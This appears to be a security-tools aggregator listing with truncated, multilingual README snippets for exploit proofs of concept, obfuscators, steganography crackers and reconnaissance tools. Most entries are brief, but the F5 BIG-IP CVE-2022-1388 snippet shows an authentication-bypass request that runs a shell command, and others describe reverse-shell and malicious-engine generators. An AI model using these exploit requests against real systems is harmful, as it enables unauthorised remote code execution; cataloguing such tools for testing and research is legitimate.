concealed_code_execution

Concealed Code Execution Hunt& Hackett presents a set of tools and technical write-ups describing attacking techniques that rely on concealing code execution on Windows. Here you will find explanations of how these techniques work, receive advice on detection, and get sample source code for testi...

SOC274-Palo-Alto-Networks-PAN-OS-Command-Injection-Vulnerability-Exploitation-CVE-2024-3400

SOC274 - Palo Alto Networks PAN-OS Command Injection 실습 개요 이 저장소는 Palo Alto Networks PAN-OS 명령어 주입 취약점에 초점을 맞춘 SOC274 실습 과제를 위한 지원 자료를 포함하고 있습니다. 실습 워크스루 이 Let's Defend SOC 실습에 대한 자세한 워크스루는 다음을 참조하세요: SOC274 실습 워크스루 목차 단계별 가이드 분석 방법론 사고 대응 절차 기술적 분석 결과...

CVE-2020-7115

CVE-2020-7115 Создайте свой вредоносный движок за секунды buildengine.sh Простой скрипт для генерации вредоносного движка , готового к использованию в сценариях внедрения аргументов в openssl. Как использовать? Это очень просто, просто измените файл engine.c, указав команду по вашему выбору:...

CVE-2022-1388_PoC

Эксплуатация RCE в F5 BIG-IP CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " команда curl: root@kitploit: $ curl -i -s -k -X...

gosec

gosec - Средство проверки безопасности Go Проверяет исходный код на проблемы безопасности путем сканирования AST и SSA представления кода Go. Быстрые ссылки GitHub Action Локальная установка Быстрый старт Типовые шаблоны использования Выбор правил Форматы вывода Возможности Правила на основе...

CVE-2020-14144-GiTea-git-hooks-rce

CVE-2020-14144 - GiTea 인증된 원격 코드 실행 RCE CVE-2020-14144를 이용해 git 훅을 통해 GiTea 인증된 원격 코드 실행을 수행하는 스크립트 기능 IP와 PORT로부터 자동 리버스 셸 페이로드 생성 사용자 정의 셸 스크립트 업로드 후 -f 옵션으로 원격 실행 사용자 이름과 비밀번호로 자동 로그인 사용법 root@kitploit: $ ./CVE-2020-14144-GiTea-git-hooks-rce.py -h / | CVE-2020-14144 | | | | | | | | | | |/ / |...

stegseek

⚡ Stegseek Stegseek is a lightning fast steghide cracker that can be used to extract hidden data from files. It is built as a fork of the original steghide project and, as a result, it is thousands of times faster than other crackers and can run through the entirety of rockyou.txt in under 2...

noapi-google-search-mcp

noapi-google-search-mcp [email protected] Если вы хотите поддержать noapi-google-mcp или gpt-oss-20B/120B-Vision и другие модели с открытым исходным кодом, находящиеся в разработке, пожалуйста, внесите вклад в мой фонд GPU-вычислений: требуется около $3000. Если вы нашли это полезным,...

puredns

Быстрый резолвер доменов и инструмент для брутфорса поддоменов с точной фильтрацией wildcard-записей Начало работы » Использование · Как это работает · Спонсорство · ЧаВО О программе puredns — это быстрый резолвер доменов и инструмент для брутфорса поддоменов, который может точно отфильтровывать...

psobf

PowerShell Obfuscator 이 도구는 코드를 변환하여 분석 및 정적 시그니처를 방해하는 것을 목표로 하며, 실험실 및 승인된 Red Team/Pentesting 작업에 유용합니다. 6단계의 난독화 수준과 변환/파이프라인 아키텍처를 지원하며, 문자열 토큰화, 간단한 리터럴 암호화, 숫자 마스킹, 식별자 변형, 포맷 "지터", 제어 흐름 미화, 데드 코드 삽입, 조각화 프로파일 및 결정론적 프로파일과 같은 기술을 중첩할 수 있습니다. ⚠️ 책임 있는 사용: 이 도구는 연구 및 승인된 테스트 전용입니다. 악의적인 목적으로...

screenscrub

screenscrub Ищет учетные данные на скриншотах, извлекает их в менеджер секретов и безвозвратно редактирует их на изображениях — чтобы секреты не гнили в ваших заметках, скриншотах и /Desktop. Локальный. Офлайн. Бесшумный. По умолчанию без сети и телеметрии. screenscrub объединяет две существующие...

doppelganger_assistant

Doppelgänger Assistant カードデータの計算と、Doppelgänger CoreおよびStealthが対応するすべてのカードタイプのProxmark3操作を自動化する、プロフェッショナル向けGUIアプリケーションです。このツールは、直感的なインターフェースと二重出力表示、視覚的なセパレータ、ワンクリックのクリップボードコピーを備え、複雑なProxmark3構文を暗記したりメモを調べたりする必要をなくし、物理ペネトレーションテストにおけるカード書き込みプロセスを効率化します。 特徴 最新のGUIインターフェース :...

at-doom-fortigate

At Doom Fortigate root@kitploit: ================= =============== =============== ======== ======== \ . . . . . . .\ //. . . . . . .\ //. . . . . . .\ \. . .\// . . // ||. . .. . .|| ||. . .. . .|| ||. . .. . .|| || . . ./ . . .|| || . .|| ||. . || || . .|| ||. . || || . .|| ||. . || ||...

hget

hget Этот проект — мой личный проект для изучения golang, чтобы создать что-то полезное. Статус сборки : Установка root@kitploit: $ go get -d github.com/huydx/hget $ cd $GOPATH/src/github.com/huydx/hget $ make clean install Бинарный файл будет собран в ./bin/hget, вы можете скопировать его в...

hget

hget This project is my personal project to learn golang to build something useful. Build Status : Install root@kitploit: $ go get -d github.com/huydx/hget $ cd $GOPATH/src/github.com/huydx/hget $ make clean install Binary file will be built at ./bin/hget, you can copy to /usr/bin or /usr/local/b...

nexmon

What is nexmon? Nexmon is our C-based firmware patching framework for Broadcom/Cypress WiFi chips that enables you to write your own firmware patches, for example, to enable monitor mode with radiotap headers and frame injection. Below, you find an overview what is possible with nexmon. This...

CVE-2019-11043

CVE-2019-11043 Описание уязвимости В Nginx при обработке запросов с %0a в fastcgisplitpathinfo, из-за символа новой строки \n PATHINFO становится пустым. В PHP-FPM при пустом PATHINFO существует логический дефект. Злоумышленник может путем тщательной конструирования и эксплуатации вызвать удаленн...

SecretsStalker

secretstalker / / / / / / / / / / / \ / - / - -/ /\ \ / / // / ' / -/ / // // / / / / /, /// /\// root@kitploit: ╔╦╦╬╬╬╬╬╬╦╦╗ ╔╬╬╬╝╝┘ ╚╝╝╬╬╬┐ ╬╬╝╚╩╬╗╔ ╚╬╬╬ ╬╝ ╚╬╬╗╗ ╔ ╚╬╗ ╬╬ ╔╗ ╚╬╬╬╬╬╬╦ ╬╬ we found your secret... ╔╬┤ ╬╬╬ ╬╬╬╬╬╬╬╬╝╝╝╬╬╗ ...now let's see what it ╬╬┤ ╚╩┘ ╚╬╬╬╬╬╩ ╠╬╬ can REALLY do...

claudleak

claudleak Сканирует публичные репозитории GitHub на наличие утекших учетных данных в конфигурационных файлах инструментов AI-кодирования .claude/, .cursor/, .continue/, .codex/, CLAUDE.md, AGENTS.md и т.д.. Использует TruffleHog для обнаружения секретов. Пример директории .claude/: root@kitploit:...

sj

sj Swagger Jacker sj — это инструмент командной строки, предназначенный для помощи в аудите раскрытых файлов определений Swagger/OpenAPI путём проверки связанных конечных точек API на слабую аутентификацию. Он также предоставляет шаблоны команд для ручного тестирования уязвимостей. Инструмент...